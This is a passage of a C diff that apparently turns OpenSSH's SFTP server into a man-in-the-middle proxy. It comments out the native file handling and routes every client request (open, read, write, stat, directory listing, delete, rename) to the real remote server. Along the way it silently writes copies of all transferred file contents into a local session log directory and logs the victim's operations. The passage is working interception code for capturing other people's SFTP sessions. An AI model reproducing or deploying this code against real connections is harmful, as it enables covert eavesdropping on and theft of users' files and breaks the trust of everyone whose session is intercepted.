  2785. +   * must grow the array. */
  2786. +  if (unused_handle == -1) {
  2787. +    unused_handle = num_mitm_handles;
  2788. +
  2789. +    /* Make the array bigger by one block size. */
  2790. +    num_mitm_handles += MITM_HANDLES_NEW_BLOCK;
  2791. +    if ((mitm_handles = reallocarray(mitm_handles, num_mitm_handles, sizeof(MITMHandle))) == NULL)
  2792. +      fatal("Could not allocate array for MITMHandles.");
  2793. +
  2794. +    /* Initialize the slots we just expanded. */
  2795. +    for (; i < num_mitm_handles; i++)
  2796. +      mitm_handle_init(&mitm_handles[i]);
  2797. +  }
  2798. +
  2799. +  /* Mark this slot as being in use. */
  2800. +  mitm_handles[unused_handle].in_use = 1;
  2801. +
  2802. +  /* Set the file/directory flag. */
  2803. +  mitm_handles[unused_handle].type = type;
  2804. +
  2805. +  /* Allocate a buffer for the remote server handle data, then copy it. */
  2806. +  if ((mitm_handles[unused_handle].handle_str = xmalloc(handle_len)) == NULL)
  2807. +    fatal("Could not allocate array for handle string.");
  2808. +  memcpy(mitm_handles[unused_handle].handle_str, handle_str, handle_len);
  2809. +
  2810. +  /* Set the handle length. */
  2811. +  mitm_handles[unused_handle].handle_len = handle_len;
  2812. +
  2813. +  /* Copy the original full path of the file being opened on the remote
  2814. +   * server, and do XSS filtering on it. */
  2815. +  mitm_handles[unused_handle].original_path = xstrdup(original_path);
  2816. +  xss_sanitize(mitm_handles[unused_handle].original_path, strlen(mitm_handles[unused_handle].original_path));
  2817. +
  2818. +  /* Save the portable flags its being opened with. */
  2819. +  mitm_handles[unused_handle].pflags = pflags;
  2820. +
  2821. +  /* If this is a file, find a unique local filename, and open a handle to
  2822. +   * it. */
  2823. +  if (type == MITM_HANDLE_TYPE_FILE) {
  2824. +
  2825. +    /* Extract the filename of the path. */
  2826. +    temp_name = xstrdup(original_path);
  2827. +    file_prefix = basename(temp_name);
  2828. +
  2829. +    /* Ensure that a relative path wasn't snuck in. */
  2830. +    if ((memmem(file_prefix, strlen(file_prefix), "..", 2) != NULL) || (memmem(file_prefix, strlen(file_prefix), "/", 1) != NULL))
  2831. +      file_prefix = "file";
  2832. +
  2833. +    /* Construct a path to save the file to locally, such as
  2834. +     * "/home/ssh-mitm/sftp_session_0/lol.txt". */
  2835. +    snprintf(file_path, sizeof(file_path) - 1, "%s%s", session_log_dir, file_prefix);
  2836. +
  2837. +    /* Find a unique local filename. */
  2838. +    while (mitm_handles[unused_handle].fd < 0) {
  2839. +      mitm_handles[unused_handle].fd = open(file_path, O_CREAT | O_EXCL | O_NOATIME | O_NOFOLLOW | O_WRONLY, S_IRUSR | S_IWUSR);
  2840. +
  2841. +      num_tries++;
  2842. +
  2843. +      /* If open() failed, append "_X" to the file path, where X is an
  2844. +       * incrementing integer. */
  2845. +      if (mitm_handles[unused_handle].fd < 0) {
  2846. +   snprintf(file_path, sizeof(file_path) - 1, "%s%s_%u", session_log_dir, file_prefix, num_tries);
  2847. +      }
  2848. +    }
  2849. +    free(temp_name); temp_name = NULL;
  2850. +
  2851. +    /* Get the base name of our log directory.  Because we're using GNU
  2852. +     * basename(), we need to cut off the trailing slash, otherwise we get back
  2853. +     * the empty string.
  2854. +     *
  2855. +     * "/home/ssh-mitm/sftp_session_0/" -> "sftp_session_0" */
  2856. +    temp_name = xstrdup(session_log_dir);
  2857. +    if (strlen(temp_name) > 0)
  2858. +      temp_name[strlen(temp_name) - 1] = '\0';
  2859. +    log_dir = basename(temp_name);
  2860. +
  2861. +    /* Get the basename of the file we wrote.
  2862. +     * "/home/ssh-mitm/sftp_session_0/lol.txt" -> "lol.txt" */
  2863. +    file_prefix = basename(file_path);
  2864. +    actual_path_len = strlen(log_dir) + 1 + strlen(file_prefix) + 1;
  2865. +    mitm_handles[unused_handle].actual_path = calloc(actual_path_len, sizeof(char));
  2866. +
  2867. +    /* Create the relative path, i.e.: "sftp_session_0/lol.txt". */
  2868. +    r = snprintf(mitm_handles[unused_handle].actual_path, actual_path_len, "%s/%s", log_dir, file_prefix);
  2869. +    xss_sanitize(mitm_handles[unused_handle].actual_path, r);
  2870. +
  2871. +    free(temp_name); temp_name = NULL;
  2872. +  }
  2873. +}
  2874. +
  2875. +/* Write discovered data to our local file.  We do this for both remote server
  2876. + * reads and writes. */
  2877. +void mitm_handle_read_write(char *handle_str, size_t handle_len, u_int64_t offset, u_char *buf, size_t buf_len) {
  2878. +  MITMHandle *mh = NULL;
  2879. +
  2880. +  if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
  2881. +    lseek(mh->fd, offset, SEEK_SET);
  2882. +    write(mh->fd, buf, buf_len);
  2883. +  } else
  2884. +    logit(CANT_FIND_HANDLE, __func__);
  2885. +}
  2886. +
  2887. +/* Close the local file descriptor associated with this remote server handle.
  2888. + * Frees the slot this handle is in. */
  2889. +void mitm_handle_close(const char *handle_str, size_t handle_len) {
  2890. +  MITMHandle *mh = NULL;
  2891. +
  2892. +  if ((mh = mitm_handle_search(handle_str, handle_len)) != NULL) {
  2893. +    close(mh->fd);
  2894. +    mitm_handle_free(mh);
  2895. +  } else
  2896. +    logit(CANT_FIND_HANDLE, __func__);
  2897. +}
  2898. +
  2899. +/* Searches for an MITMHandle, given its remote server handle and length.
  2900. + * Returns a pointer to it on success, or NULL if it could not be found. */
  2901. +MITMHandle *mitm_handle_search(const char *handle_str, size_t handle_len) {
  2902. +  u_int i = 0;
  2903. +
  2904. +  for (i = 0; i < num_mitm_handles; i++) {
  2905. +    if ((mitm_handles[i].in_use == 1) && (mitm_handles[i].handle_len == handle_len) && (memcmp(mitm_handles[i].handle_str, handle_str, handle_len) == 0)) {
  2906. +      return &mitm_handles[i];
  2907. +    }
  2908. +  }
  2909. +  return NULL;
  2910. +}
  2911. +
  2912. +
  2913. +/*
  2914. static void handle_unused(int i)
  2915. {
  2916.     handles[i].use = HANDLE_UNUSED;
  2917. @@ -321,6 +564,7 @@
  2918.  
  2919.     return i;
  2920. }
  2921. +*/
  2922.  
  2923. static int
  2924. handle_is_ok(int i, int type)
  2925. @@ -328,6 +572,7 @@
  2926.     return i >= 0 && (u_int)i < num_handles && handles[i].use == type;
  2927. }
  2928.  
  2929. +/*
  2930. static int
  2931. handle_to_string(int handle, u_char **stringp, int *hlenp)
  2932. {
  2933. @@ -338,6 +583,7 @@
  2934.     *hlenp = sizeof(int32_t);
  2935.     return 0;
  2936. }
  2937. +*/
  2938.  
  2939. static int
  2940. handle_from_string(const u_char *handle, u_int hlen)
  2941. @@ -362,6 +608,7 @@
  2942.     return NULL;
  2943. }
  2944.  
  2945. +/*
  2946. static DIR *
  2947. handle_to_dir(int handle)
  2948. {
  2949. @@ -399,6 +646,7 @@
  2950.     if (handle_is_ok(handle, HANDLE_FILE) && bytes > 0)
  2951.         handles[handle].bytes_write += bytes;
  2952. }
  2953. +*/
  2954.  
  2955. static u_int64_t
  2956. handle_bytes_read(int handle)
  2957. @@ -416,6 +664,7 @@
  2958.     return 0;
  2959. }
  2960.  
  2961. +/*
  2962. static int
  2963. handle_close(int handle)
  2964. {
  2965. @@ -434,6 +683,7 @@
  2966.     }
  2967.     return ret;
  2968. }
  2969. +*/
  2970.  
  2971. static void
  2972. handle_log_close(int handle, char *emsg)
  2973. @@ -461,6 +711,7 @@
  2974.             handle_log_close(i, "forced");
  2975. }
  2976.  
  2977. +/*
  2978. static int
  2979. get_handle(struct sshbuf *queue, int *hp)
  2980. {
  2981. @@ -476,6 +727,28 @@
  2982.     free(handle);
  2983.     return 0;
  2984. }
  2985. +*/
  2986. +
  2987. +/* Handle return value must be free()'ed. */
  2988. +int
  2989. +get_handle_all(struct sshbuf *queue, u_char **handle_str, size_t *handle_len, int *handle_int)
  2990. +{
  2991. +   int r;
  2992. +
  2993. +   if ((r = sshbuf_get_string(queue, handle_str, handle_len)) != 0)
  2994. +     return r;
  2995. +
  2996. +   if (*handle_len < 256)
  2997. +       *handle_int = handle_from_string(*handle_str, *handle_len);
  2998. +   else {
  2999. +       free(*handle_str); *handle_str = NULL;
  3000. +       *handle_len = 0;
  3001. +       *handle_int = -1;
  3002. +       return -1;
  3003. +   }
  3004. +
  3005. +   return 0;
  3006. +}
  3007.  
  3008. /* send replies */
  3009.  
  3010. @@ -555,6 +828,7 @@
  3011.     send_data_or_handle(SSH2_FXP_DATA, id, data, dlen);
  3012. }
  3013.  
  3014. +/*
  3015. static void
  3016. send_handle(u_int32_t id, int handle)
  3017. {
  3018. @@ -566,6 +840,15 @@
  3019.     send_data_or_handle(SSH2_FXP_HANDLE, id, string, hlen);
  3020.     free(string);
  3021. }
  3022. +*/
  3023. +
  3024. +static void
  3025. +send_handle_str(u_int32_t id, u_char *handle, size_t handle_len)
  3026. +{
  3027. +   debug("request %u: sent handle_str handle %d", id, atoi(handle));
  3028. +   send_data_or_handle(SSH2_FXP_HANDLE, id, handle, handle_len);
  3029. +}
  3030. +
  3031.  
  3032. static void
  3033. send_names(u_int32_t id, int count, const Stat *stats)
  3034. @@ -678,14 +961,18 @@
  3035.     u_int32_t pflags;
  3036.     Attrib a;
  3037.     char *name;
  3038. -   int r, handle, fd, flags, mode, status = SSH2_FX_FAILURE;
  3039. +   u_char *handle_str = NULL;
  3040. +   size_t handle_len = 0;
  3041. +   u_int status = 0;
  3042. +   int r;
  3043.  
  3044.     if ((r = sshbuf_get_cstring(iqueue, &name, NULL)) != 0 ||
  3045.         (r = sshbuf_get_u32(iqueue, &pflags)) != 0 || /* portable flags */
  3046.         (r = decode_attrib(iqueue, &a)) != 0)
  3047.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3048.  
  3049. -   debug3("request %u: open flags %d", id, pflags);
  3050. +   debug3("request %u: open \"%s\" flags %d", id, name, pflags);
  3051. +   /*
  3052.     flags = flags_from_portable(pflags);
  3053.     mode = (a.flags & SSH2_FILEXFER_ATTR_PERMISSIONS) ? a.perm : 0666;
  3054.     logit("open \"%s\" flags %s mode 0%o",
  3055. @@ -711,12 +998,25 @@
  3056.     }
  3057.     if (status != SSH2_FX_OK)
  3058.         send_status(id, status);
  3059. +   */
  3060. +   handle_str = mitm_do_open(client_conn, name, pflags, &a, &handle_len, &status);
  3061. +   if (handle_str != NULL) {
  3062. +       debug3("request %u: open \"%s\" returning handle: %d", id, name, handle_from_string(handle_str, handle_len));
  3063. +       send_handle_str(id, handle_str, handle_len);
  3064. +       mitm_handle_new(MITM_HANDLE_TYPE_FILE, name, pflags, handle_str, handle_len);
  3065. +   } else {
  3066. +       send_status(id, status);
  3067. +       sftp_log(status, "open \"%s\" (Flags: %s)", name, string_from_portable(pflags));
  3068. +   }
  3069. +
  3070. +   free(handle_str);  handle_str = NULL;
  3071.     free(name);
  3072. }
  3073.  
  3074. static void
  3075. process_close(u_int32_t id)
  3076. {
  3077. +   /*
  3078.     int r, handle, ret, status = SSH2_FX_FAILURE;
  3079.  
  3080.     if ((r = get_handle(iqueue, &handle)) != 0)
  3081. @@ -727,11 +1027,28 @@
  3082.     ret = handle_close(handle);
  3083.     status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3084.     send_status(id, status);
  3085. +   */
  3086. +   int r;
  3087. +   u_char *handle_str = NULL;
  3088. +   size_t handle_len = 0;
  3089. +   int handle_int = -1;
  3090. +   int status;
  3091. +
  3092. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
  3093. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3094. +   debug3("request %u: close handle %u", id, handle_int);
  3095. +   status = mitm_do_close(client_conn, handle_str, handle_len);
  3096. +   send_status(id, status);
  3097. +
  3098. +   sftp_log_close(status, handle_str, handle_len);
  3099. +   mitm_handle_close(handle_str, handle_len);
  3100. +   free(handle_str); handle_str = NULL;
  3101. }
  3102.  
  3103. static void
  3104. process_read(u_int32_t id)
  3105. {
  3106. +   /*
  3107.     u_char buf[64*1024];
  3108.     u_int32_t len;
  3109.     int r, handle, fd, ret, status = SSH2_FX_FAILURE;
  3110. @@ -768,11 +1085,39 @@
  3111.     }
  3112.     if (status != SSH2_FX_OK)
  3113.         send_status(id, status);
  3114. +   */
  3115. +   int r;
  3116. +   u_char *handle_str = NULL;
  3117. +   size_t handle_len = 0;
  3118. +   int handle_int = -1;
  3119. +   u_int32_t read_len;
  3120. +   u_int64_t offset;
  3121. +   u_int status = 0;
  3122. +   u_char *buf = NULL;
  3123. +   size_t buf_len = 0;
  3124. +
  3125. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0 ||
  3126. +       (r = sshbuf_get_u64(iqueue, &offset)) != 0 ||
  3127. +       (r = sshbuf_get_u32(iqueue, &read_len)) != 0)
  3128. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3129. +
  3130. +   debug3("request %u: read (handle %d) off %llu len %d",
  3131. +       id, handle_int, (unsigned long long)offset, read_len);
  3132. +   buf = mitm_do_read(client_conn, handle_str, handle_len, offset, read_len, &buf_len, &status);
  3133. +   if (buf != NULL) {
  3134. +       send_data(id, buf, buf_len);
  3135. +       mitm_handle_read_write(handle_str, handle_len, offset, buf, buf_len);
  3136. +   } else
  3137. +       send_status(id, status);
  3138. +
  3139. +   free(buf); buf = NULL;
  3140. +   free(handle_str); handle_str = NULL;
  3141. }
  3142.  
  3143. static void
  3144. process_write(u_int32_t id)
  3145. {
  3146. +   /*
  3147.     u_int64_t off;
  3148.     size_t len;
  3149.     int r, handle, fd, ret, status;
  3150. @@ -795,7 +1140,9 @@
  3151.             status = errno_to_portable(errno);
  3152.             error("process_write: seek failed");
  3153.         } else {
  3154. +   */
  3155. /* XXX ATOMICIO ? */
  3156. +   /*
  3157.             ret = write(fd, data, len);
  3158.             if (ret < 0) {
  3159.                 error("process_write: write failed");
  3160. @@ -811,21 +1158,44 @@
  3161.     }
  3162.     send_status(id, status);
  3163.     free(data);
  3164. +   */
  3165. +   int r;
  3166. +   u_char *handle_str = NULL;
  3167. +   size_t handle_len = 0;
  3168. +   int handle_int = -1;
  3169. +   u_int64_t offset;
  3170. +   u_int status;
  3171. +   u_char *buf = NULL;
  3172. +   size_t buf_len = 0;
  3173. +
  3174. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0 ||
  3175. +       (r = sshbuf_get_u64(iqueue, &offset)) != 0 ||
  3176. +       (r = sshbuf_get_string(iqueue, &buf, &buf_len)) != 0)
  3177. +
  3178. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3179. +   debug3("request %u: write (handle %d) off %llu len %zu",
  3180. +       id, handle_int, (unsigned long long)offset, buf_len);
  3181. +   status = mitm_do_write(client_conn, handle_str, handle_len, offset, buf, buf_len);
  3182. +   mitm_handle_read_write(handle_str, handle_len, offset, buf, buf_len);
  3183. +   send_status(id, status);
  3184. +
  3185. +   free(handle_str); handle_str = NULL;
  3186. +   free(buf); buf = NULL;
  3187. }
  3188.  
  3189. static void
  3190. -process_do_stat(u_int32_t id, int do_lstat)
  3191. +process_do_stat(u_int32_t id, int do_lstat_arg)
  3192. {
  3193. -   Attrib a;
  3194. -   struct stat st;
  3195.     char *name;
  3196.     int r, status = SSH2_FX_FAILURE;
  3197. +   Attrib *b;
  3198.  
  3199.     if ((r = sshbuf_get_cstring(iqueue, &name, NULL)) != 0)
  3200.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3201.  
  3202. -   debug3("request %u: %sstat", id, do_lstat ? "l" : "");
  3203. -   verbose("%sstat name \"%s\"", do_lstat ? "l" : "", name);
  3204. +   debug3("request %u: %sstat", id, do_lstat_arg ? "l" : "");
  3205. +   verbose("%sstat name \"%s\"", do_lstat_arg ? "l" : "", name);
  3206. +   /*
  3207.     r = do_lstat ? lstat(name, &st) : stat(name, &st);
  3208.     if (r < 0) {
  3209.         status = errno_to_portable(errno);
  3210. @@ -836,6 +1206,18 @@
  3211.     }
  3212.     if (status != SSH2_FX_OK)
  3213.         send_status(id, status);
  3214. +   */
  3215. +   if (do_lstat_arg)
  3216. +       b = do_lstat(client_conn, name, 0, &status);
  3217. +   else
  3218. +       b = do_stat(client_conn, name, 0, &status);
  3219. +
  3220. +   if (b != NULL)
  3221. +       send_attrib(id, b);
  3222. +   else
  3223. +       send_status(id, status);
  3224. +
  3225. +   sftp_log_attrib(do_lstat_arg ? "lstat" : "stat", status, name, b);
  3226.     free(name);
  3227. }
  3228.  
  3229. @@ -854,10 +1236,14 @@
  3230. static void
  3231. process_fstat(u_int32_t id)
  3232. {
  3233. -   Attrib a;
  3234. -   struct stat st;
  3235. -   int fd, r, handle, status = SSH2_FX_FAILURE;
  3236. +   Attrib *a;
  3237. +   int status = SSH2_FX_FAILURE;
  3238. +   u_char *handle_str = NULL;
  3239. +   size_t handle_len = 0;
  3240. +   int handle_int = -1;
  3241. +   int r;
  3242.  
  3243. +   /*
  3244.     if ((r = get_handle(iqueue, &handle)) != 0)
  3245.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3246.     debug("request %u: fstat \"%s\" (handle %u)",
  3247. @@ -875,8 +1261,22 @@
  3248.     }
  3249.     if (status != SSH2_FX_OK)
  3250.         send_status(id, status);
  3251. +   */
  3252. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
  3253. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3254. +
  3255. +   debug3("request %u: fstat (handle %u)", id, handle_int);
  3256. +   a = mitm_do_fstat(client_conn, handle_str, handle_len, 1, &status);
  3257. +   if (a != NULL)
  3258. +       send_attrib(id, a);
  3259. +   else
  3260. +       send_status(id, status);
  3261. +
  3262. +   sftp_log_handle_attrib("fstat", status, handle_str, handle_len, a);
  3263. +   free(handle_str);  handle_str = NULL;
  3264. }
  3265.  
  3266. +/*
  3267. static struct timeval *
  3268. attrib_to_tv(const Attrib *a)
  3269. {
  3270. @@ -888,6 +1288,7 @@
  3271.     tv[1].tv_usec = 0;
  3272.     return tv;
  3273. }
  3274. +*/
  3275.  
  3276. static void
  3277. process_setstat(u_int32_t id)
  3278. @@ -900,7 +1301,8 @@
  3279.         (r = decode_attrib(iqueue, &a)) != 0)
  3280.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3281.  
  3282. -   debug("request %u: setstat name \"%s\"", id, name);
  3283. +   debug3("request %u: setstat name \"%s\"", id, name);
  3284. +   /*
  3285.     if (a.flags & SSH2_FILEXFER_ATTR_SIZE) {
  3286.         logit("set \"%s\" size %llu",
  3287.             name, (unsigned long long)a.size);
  3288. @@ -932,7 +1334,11 @@
  3289.         if (r == -1)
  3290.             status = errno_to_portable(errno);
  3291.     }
  3292. +   */
  3293. +   status = mitm_do_setstat(client_conn, name, &a);
  3294.     send_status(id, status);
  3295. +
  3296. +   sftp_log_attrib("setstat", status, name, &a);
  3297.     free(name);
  3298. }
  3299.  
  3300. @@ -940,9 +1346,13 @@
  3301. process_fsetstat(u_int32_t id)
  3302. {
  3303.     Attrib a;
  3304. -   int handle, fd, r;
  3305.     int status = SSH2_FX_OK;
  3306. +   u_char *handle_str = NULL;
  3307. +   size_t handle_len = 0;
  3308. +   int handle_int = -1;
  3309. +   int r;
  3310.  
  3311. +   /*
  3312.     if ((r = get_handle(iqueue, &handle)) != 0 ||
  3313.         (r = decode_attrib(iqueue, &a)) != 0)
  3314.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3315. @@ -998,12 +1408,23 @@
  3316.                 status = errno_to_portable(errno);
  3317.         }
  3318.     }
  3319. +   */
  3320. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0 ||
  3321. +       (r = decode_attrib(iqueue, &a)) != 0)
  3322. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3323. +
  3324. +   debug3("request %u: fsetstat handle %d", id, handle_int);
  3325. +   status = mitm_do_fsetstat(client_conn, handle_str, handle_len, &a);
  3326.     send_status(id, status);
  3327. +
  3328. +   sftp_log_handle_attrib("fsetstat", status, handle_str, handle_len, &a);
  3329. +   free(handle_str);  handle_str = NULL;
  3330. }
  3331.  
  3332. static void
  3333. process_opendir(u_int32_t id)
  3334. {
  3335. +   /*
  3336.     DIR *dirp = NULL;
  3337.     char *path;
  3338.     int r, handle, status = SSH2_FX_FAILURE;
  3339. @@ -1028,12 +1449,31 @@
  3340.     }
  3341.     if (status != SSH2_FX_OK)
  3342.         send_status(id, status);
  3343. +   */
  3344. +   int r, status = SSH2_FX_FAILURE;
  3345. +   char *path;
  3346. +   if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
  3347. +       fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3348. +
  3349. +   debug("request %u: opendir \"%s\"", id, path);
  3350. +
  3351. +   size_t handle_len = 0;
  3352. +   u_char *handle_str = mitm_do_opendir(client_conn, path, &handle_len, &status);
  3353. +   if (handle_str != NULL) {
  3354. +       debug("request %u: opendir \"%s\" returning handle: %u", id, path, handle_from_string(handle_str, handle_len));
  3355. +       send_handle_str(id, handle_str, handle_len);
  3356. +       mitm_handle_new(MITM_HANDLE_TYPE_DIR, path, 0, handle_str, handle_len);
  3357. +   } else
  3358. +       send_status(id, status);
  3359. +
  3360. +   free(handle_str);  handle_str = NULL;
  3361.     free(path);
  3362. }
  3363.  
  3364. static void
  3365. process_readdir(u_int32_t id)
  3366. {
  3367. +   /*
  3368.     DIR *dirp;
  3369.     struct dirent *dp;
  3370.     char *path;
  3371. @@ -1060,7 +1500,9 @@
  3372.                 nstats *= 2;
  3373.                 stats = xreallocarray(stats, nstats, sizeof(Stat));
  3374.             }
  3375. +   */
  3376. /* XXX OVERFLOW ? */
  3377. +   /*
  3378.             snprintf(pathname, sizeof pathname, "%s%s%s", path,
  3379.                 strcmp(path, "/") ? "/" : "", dp->d_name);
  3380.             if (lstat(pathname, &st) < 0)
  3381. @@ -1069,8 +1511,10 @@
  3382.             stats[count].name = xstrdup(dp->d_name);
  3383.             stats[count].long_name = ls_file(dp->d_name, &st, 0, 0);
  3384.             count++;
  3385. +   */
  3386.             /* send up to 100 entries in one message */
  3387.             /* XXX check packet size instead */
  3388. +   /*
  3389.             if (count == 100)
  3390.                 break;
  3391.         }
  3392. @@ -1085,6 +1529,32 @@
  3393.         }
  3394.         free(stats);
  3395.     }
  3396. +   */
  3397. +   u_char *handle_str = NULL;
  3398. +   size_t handle_len = 0;
  3399. +   int handle_int = -1;
  3400. +   int r;
  3401. +   int status = 0;
  3402. +   u_int count = 0, i = 0;
  3403. +   Stat *stats;
  3404. +
  3405. +   if ((r = get_handle_all(iqueue, &handle_str, &handle_len, &handle_int)) != 0)
  3406. +       fatal("%s: buffer error", __func__);
  3407. +
  3408. +   debug("request %u: readdir(handle %d)", id, handle_int);
  3409. +   stats = mitm_do_readdir(client_conn, id, handle_str, handle_len, &count, &status);
  3410. +   if (stats == NULL)
  3411. +       send_status(id, status);
  3412. +   else {
  3413. +       send_names(id, count, stats);
  3414. +       for (i = 0; i < count; i++) {
  3415. +           sftp_log_readdir(handle_str, handle_len, stats[i].long_name);
  3416. +           free(stats[i].name); stats[i].name = NULL;
  3417. +           free(stats[i].long_name); stats[i].long_name = NULL;
  3418. +       }
  3419. +       free(stats); stats = NULL;
  3420. +   }
  3421. +   free(handle_str); handle_str = NULL;
  3422. }
  3423.  
  3424. static void
  3425. @@ -1098,9 +1568,15 @@
  3426.  
  3427.     debug3("request %u: remove", id);
  3428.     logit("remove name \"%s\"", name);
  3429. +   /*
  3430.     r = unlink(name);
  3431.     status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3432.     send_status(id, status);
  3433. +   */
  3434. +   status = mitm_do_rm(client_conn, name);
  3435. +   send_status(id, status);
  3436. +
  3437. +   sftp_log(status, "rm \"%s\"", name);
  3438.     free(name);
  3439. }
  3440.  
  3441. @@ -1119,9 +1595,15 @@
  3442.         a.perm & 07777 : 0777;
  3443.     debug3("request %u: mkdir", id);
  3444.     logit("mkdir name \"%s\" mode 0%o", name, mode);
  3445. +   /*
  3446.     r = mkdir(name, mode);
  3447.     status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3448.     send_status(id, status);
  3449. +   */
  3450. +   status = mitm_do_mkdir(client_conn, name, &a);
  3451. +   send_status(id, status);
  3452. +
  3453. +   sftp_log(status, "mkdir \"%s\" (mode: 0%o)", name, mode);
  3454.     free(name);
  3455. }
  3456.  
  3457. @@ -1136,18 +1618,26 @@
  3458.  
  3459.     debug3("request %u: rmdir", id);
  3460.     logit("rmdir name \"%s\"", name);
  3461. +   /*
  3462.     r = rmdir(name);
  3463.     status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3464.     send_status(id, status);
  3465. +   */
  3466. +   status = mitm_do_rmdir(client_conn, name);
  3467. +   send_status(id, status);
  3468. +
  3469. +   sftp_log(status, "rmdir \"%s\"", name);
  3470.     free(name);
  3471. }
  3472.  
  3473. static void
  3474. process_realpath(u_int32_t id)
  3475. {
  3476. -   char resolvedname[PATH_MAX];
  3477.     char *path;
  3478.     int r;
  3479. +   char *realpath;
  3480. +   Stat s;
  3481. +   u_int status;
  3482.  
  3483.     if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
  3484.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3485. @@ -1158,6 +1648,7 @@
  3486.     }
  3487.     debug3("request %u: realpath", id);
  3488.     verbose("realpath \"%s\"", path);
  3489. +   /*
  3490.     if (realpath(path, resolvedname) == NULL) {
  3491.         send_status(id, errno_to_portable(errno));
  3492.     } else {
  3493. @@ -1166,6 +1657,17 @@
  3494.         s.name = s.long_name = resolvedname;
  3495.         send_names(id, 1, &s);
  3496.     }
  3497. +   */
  3498. +   realpath = do_realpath(client_conn, path, &status);
  3499. +   if (status == SSH2_FX_OK) {
  3500. +     attrib_clear(&s.attrib);
  3501. +     s.name = s.long_name = realpath;
  3502. +     send_names(id, 1, &s);
  3503. +   } else
  3504. +     send_status(id, status);
  3505. +
  3506. +   sftp_log(status, "realpath \"%s\" (Result: %s)", path, realpath != NULL ? realpath : "(NULL)");
  3507. +   free(realpath); realpath = NULL;
  3508.     free(path);
  3509. }
  3510.  
  3511. @@ -1174,7 +1676,6 @@
  3512. {
  3513.     char *oldpath, *newpath;
  3514.     int r, status;
  3515. -   struct stat sb;
  3516.  
  3517.     if ((r = sshbuf_get_cstring(iqueue, &oldpath, NULL)) != 0 ||
  3518.         (r = sshbuf_get_cstring(iqueue, &newpath, NULL)) != 0)
  3519. @@ -1182,11 +1683,14 @@
  3520.  
  3521.     debug3("request %u: rename", id);
  3522.     logit("rename old \"%s\" new \"%s\"", oldpath, newpath);
  3523. +   /*
  3524.     status = SSH2_FX_FAILURE;
  3525.     if (lstat(oldpath, &sb) == -1)
  3526.         status = errno_to_portable(errno);
  3527.     else if (S_ISREG(sb.st_mode)) {
  3528. +   */
  3529.         /* Race-free rename of regular files */
  3530. +   /*
  3531.         if (link(oldpath, newpath) == -1) {
  3532.             if (errno == EOPNOTSUPP || errno == ENOSYS
  3533. #ifdef EXDEV
  3534. @@ -1198,10 +1702,12 @@
  3535.                 ) {
  3536.                 struct stat st;
  3537.  
  3538. +   */
  3539.                 /*
  3540.                  * fs doesn't support links, so fall back to
  3541.                  * stat+rename.  This is racy.
  3542.                  */
  3543. +   /*
  3544.                 if (stat(newpath, &st) == -1) {
  3545.                     if (rename(oldpath, newpath) == -1)
  3546.                         status =
  3547. @@ -1214,7 +1720,9 @@
  3548.             }
  3549.         } else if (unlink(oldpath) == -1) {
  3550.             status = errno_to_portable(errno);
  3551. +   */
  3552.             /* clean spare link */
  3553. +   /*
  3554.             unlink(newpath);
  3555.         } else
  3556.             status = SSH2_FX_OK;
  3557. @@ -1224,7 +1732,11 @@
  3558.         else
  3559.             status = SSH2_FX_OK;
  3560.     }
  3561. +   */
  3562. +   status = mitm_do_rename(client_conn, oldpath, newpath, 1);
  3563.     send_status(id, status);
  3564. +
  3565. +   sftp_log(status, "rename \"%s\" \"%s\"", oldpath, newpath);
  3566.     free(oldpath);
  3567.     free(newpath);
  3568. }
  3569. @@ -1232,15 +1744,18 @@
  3570. static void
  3571. process_readlink(u_int32_t id)
  3572. {
  3573. -   int r, len;
  3574. -   char buf[PATH_MAX];
  3575. +   int r;
  3576.     char *path;
  3577. +   u_int status = 0;
  3578. +   char *filename = NULL, *long_name = NULL;
  3579. +   Attrib a;
  3580.  
  3581.     if ((r = sshbuf_get_cstring(iqueue, &path, NULL)) != 0)
  3582.         fatal("%s: buffer error: %s", __func__, ssh_err(r));
  3583.  
  3584.     debug3("request %u: readlink", id);
  3585.     verbose("readlink \"%s\"", path);
  3586. +   /*
  3587.     if ((len = readlink(path, buf, sizeof(buf) - 1)) == -1)
  3588.         send_status(id, errno_to_portable(errno));
  3589.     else {
  3590. @@ -1251,6 +1766,19 @@
  3591.         s.name = s.long_name = buf;
  3592.         send_names(id, 1, &s);
  3593.     }
  3594. +   */
  3595. +   if (mitm_do_readlink(client_conn, path, &status, &filename, &long_name, &a) == 1) {
  3596. +       Stat s;
  3597. +       s.name = filename;
  3598. +       s.long_name = long_name;
  3599. +       s.attrib = a;
  3600. +       send_names(id, 1, &s);
  3601. +   } else
  3602. +       send_status(id, status);
  3603. +
  3604. +   sftp_log_attrib("readlink", status, path, &a);
  3605. +   free(filename); filename = NULL;
  3606. +   free(long_name); long_name = NULL;
  3607.     free(path);
  3608. }
  3609.  
  3610. @@ -1267,9 +1795,14 @@
  3611.     debug3("request %u: symlink", id);
  3612.     logit("symlink old \"%s\" new \"%s\"", oldpath, newpath);
  3613.     /* this will fail if 'newpath' exists */
  3614. +   /*
  3615.     r = symlink(oldpath, newpath);
  3616.     status = (r == -1) ? errno_to_portable(errno) : SSH2_FX_OK;
  3617. +   */
